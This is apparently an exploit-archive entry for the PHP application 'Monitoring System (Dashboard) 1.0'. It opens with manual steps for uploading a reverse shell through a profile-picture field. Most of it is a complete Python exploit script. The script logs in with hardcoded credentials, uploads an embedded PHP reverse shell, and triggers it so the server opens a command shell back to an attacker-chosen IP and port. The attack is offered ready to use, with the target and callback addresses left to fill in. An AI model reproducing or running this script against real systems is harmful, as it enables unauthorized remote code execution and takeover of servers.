Monitoring System (Dashboard) 1.0 Shell Upload

`# Exploit Title: Monitoring System (Dashboard) | Authenticated Arbitrary File Upload to Remote Code Execution  
# Exploit Author: Richard Jones  
# Date: 2021-01-26  
# Vendor Homepage: https://www.sourcecodester.com/php/11741/monitoring-system-dashboard.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=11741&title=Monitoring+System+%28Dashboard%29+using+PHP+with+Source+Code  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
Steps.   
  
1. Login to the admin panel  
2. Edit employee, view employee  
3. Select edit, profile pic > Browse and select a php reverse shell  
4. Call shell at "http://IPADDRESS/asistorage/modules/employee/uploads/" select your shell.php file. (will be like 16416547264_shell.php)  
  
  
  
  
# Exploit Title: Monitoring System (Dashboard) | Authenticated Code Execution (2)  
# Exploit Author: Richard Jones  
# Date: 2021-03-11  
# Vendor Homepage: https://www.sourcecodester.com/php/11741/monitoring-system-dashboard.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=11741&title=Monitoring+System+%28Dashboard%29+using+PHP+with+Source+Code  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
  
# Usage.   
# Change Target_IP, REV_IP, REV_PORT to your own  
  
  
import requests  
  
def main():  
  
##### Change info here #####  
TARGET_IP="127.0.0.1"  
REV_IP="127.0.0.1"  
REV_PORT=9999  
############################  
  
LOGIN="/asistorage/login.php"  
MAILING_LIST="/asistorage/modules/random/index.php?view=add"  
UPLOAD_URL="/asistorage/modules/random/upload.php"  
VIEW_ITEM="/asistorage/modules/random/index.php"  
CALL_URL="/asistorage/modules/random/uploads/"  
  
  
  
s = requests.Session()  
  
def phpshell():  
return """  
<?php  
// Copyright (c) 2020 Ivan Å incek  
// v1.1  
// Requires PHP v5.0.0 or greater.  
// Works on Linux OS, macOS and Windows OS.  
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.  
header('Content-Type: text/plain; charset=UTF-8');  
class Shell {  
private $addr = null;  
private $port = null;  
private $os = null;  
private $shell = null;  
private $descriptorspec = array(  
0 => array('pipe', 'r'), // shell can read from STDIN  
1 => array('pipe', 'w'), // shell can write to STDOUT  
2 => array('pipe', 'w') // shell can write to STDERR  
);  
private $options = array(); // proc_open() options  
private $buffer = 1024; // read/write buffer size  
private $clen = 0; // command length  
private $error = false; // stream read/write error  
public function __construct($addr, $port) {  
$this->addr = $addr;  
$this->port = $port;  
if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS  
$this->os = 'LINUX';  
$this->shell = '/bin/sh';  
} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {  
$this->os = 'WINDOWS';  
$this->shell = 'cmd.exe';  
$this->options['bypass_shell'] = true; // we do not want a shell within a shell  
} else {  
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";  
exit(0);  
}  
}  
private function daemonize() {  
set_time_limit(0); // do not impose the script execution time limit  
if (!function_exists('pcntl_fork')) {  
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";  
} else {  
if (($pid = pcntl_fork()) < 0) {  
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";  
} else if ($pid > 0) {  
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";  
exit(0);  
} else if (posix_setsid() < 0) { // once daemonized you will no longer see the script's dump  
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";  
} else {  
echo "DAEMONIZE: Completed successfully!\n";  
}  
}  
umask(0); // set the file/directory permissions - 666 for files and 777 for directories  
}  
private function read($stream, $name, $buffer) {  
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream  
$this->error = true; // set global error flag  
echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";  
}  
return $data;  
}  
private function write($stream, $name, $data) {  
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream  
$this->error = true; // set global error flag  
echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";  
}  
return $bytes;  
}  
// read/write method for non-blocking streams  
private function rw($input, $output, $iname, $oname) {  
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {  
echo $data; // script's dump  
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length  
}  
}  
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)  
// we must read the exact byte length from a stream and not a single byte more  
private function brw($input, $output, $iname, $oname) {  
$size = fstat($input)['size'];  
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) { // for some reason Windows OS pipes STDIN into STDOUT  
$size -= $this->offset($input, $iname, $this->clen); // we do not like that  
$this->clen = 0;  
}  
$fragments = ceil($size / $this->buffer); // number of fragments to read  
$remainder = $size % $this->buffer; // size of the last fragment if it is less than the buffer size  
while ($fragments && ($data = $this->read($input, $iname, $remainder && $fragments-- == 1 ? $remainder : $this->buffer)) && $this->write($output, $oname, $data)) {  
echo $data; // script's dump  
}  
}  
private function offset($stream, $name, $offset) {  
$total = $offset;  
while ($offset > 0 && $this->read($stream, $name, $offset >= $this->buffer ? $this->buffer : $offset)) { // discard the data from a stream  
$offset -= $this->buffer;  
}  
return $offset > 0 ? $total - $offset : $total;  
}  
public function run() {  
$this->daemonize();  
  
// ----- SOCKET BEGIN -----  
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);  
if (!$socket) {  
echo "SOC_ERROR: {$errno}: {$errstr}\n";  
} else {  
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS  
  
// ----- SHELL BEGIN -----  
$process = proc_open($this->shell, $this->descriptorspec, $pipes, '/', null, $this->options);  
if (!$process) {  
echo "PROC_ERROR: Cannot start the shell\n";  
} else {  
foreach ($pipes as $pipe) {  
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS  
}  
  
// ----- WORK BEGIN -----  
fwrite($socket, "SOCKET: Shell has connected! PID: " . proc_get_status($process)['pid'] . "\n");  
while (!$this->error) {  
if (feof($socket)) { // check for end-of-file on SOCKET  
echo "SOC_ERROR: Shell connection has been terminated\n"; break;  
} else if (feof($pipes[1]) || !proc_get_status($process)['running']) { // check for end-of-file on STDOUT or if process is still running  
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams  
} // use proc_get_status() instead  
$streams = array(  
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR  
'write' => null,  
'except' => null  
);  
$num_changed_streams = stream_select($streams['read'], $streams['write'], $streams['except'], null); // wait for stream changes | will not wait on Windows OS  
if ($num_changed_streams === false) {  
echo "STRM_ERROR: stream_select() failed\n"; break;  
} else if ($num_changed_streams > 0) {  
if ($this->os === 'LINUX') {  
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN  
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET  
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET  
} else if ($this->os === 'WINDOWS') {  
// order is important  
if (in_array($socket, $streams['read'])) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN  
if (fstat($pipes[2])['size']/*-------*/) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET  
if (fstat($pipes[1])['size']/*-------*/) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET  
}  
}  
}  
// ------ WORK END ------  
  
foreach ($pipes as $pipe) {  
fclose($pipe);  
}  
proc_close($process);  
}  
// ------ SHELL END ------  
  
fclose($socket);  
}  
// ------ SOCKET END ------  
  
}  
}  
// change the host address and/or port number as necessary  
$reverse_shell = new Shell('OLDIP', OLDPORT);  
$reverse_shell->Run();  
?>"""  
  
def login(url,username, password):  
try:   
data = {  
"uname":username,  
"upass":password,  
"btnlogin":""  
}  
  
r = s.post(url,data=data, verify=False)  
page = r.text  
if "Invalid Username or Password, please try again." in page:  
return False  
else:  
return True  
except :  
return False  
  
def uploadShell(url):  
s.get(f"{url}{MAILING_LIST}") # Call page  
  
fileData = {  
'uploaded_file':("rev.php",str(phpshell().replace("OLDIP", REV_IP).replace("OLDPORT", str(REV_PORT))).encode(), "application/octet-stream")}  
data={  
"pname":"",  
"pname":"a",  
'cutoff':'',  
'cutoff':'a',  
'projectname':'',  
'type':'a',  
'projectname':'',  
'dsend':'2029-03-19',  
'desc':'a',  
'MAX_FILE_SIZE':100000,  
'Uploader':'',  
}  
up_url=f"{url}{UPLOAD_URL}"   
r = s.post(up_url, files=fileData,data=data, verify=False)  
if r.status_code == 200:  
print("shell uploaded")  
else:  
print("Shell upload failed")  
exit(0)  
r = s.get(f"{url}{VIEW_ITEM}")  
page = r.text  
DL_URL=page.split("download.php?filename=")[1].split("\">")[0]  
return DL_URL  
  
#Login  
base_url=f"http://{TARGET_IP}"  
login_url=f"{base_url}{LOGIN}"  
b=login(login_url, "jim", "jim")  
if not b:  
print("Login failed, Try again...")  
exit(0)  
  
#CAll shell  
base=f"{base_url}"  
CALL_URL_PART=uploadShell(base)  
c_url=f"{base}{CALL_URL}{CALL_URL_PART}"  
s.get(c_url)  
#Shell can be found at http:/TARGET//asistorage/modules/random/uploads/  
  
if __name__ == "__main__":  
main()  
`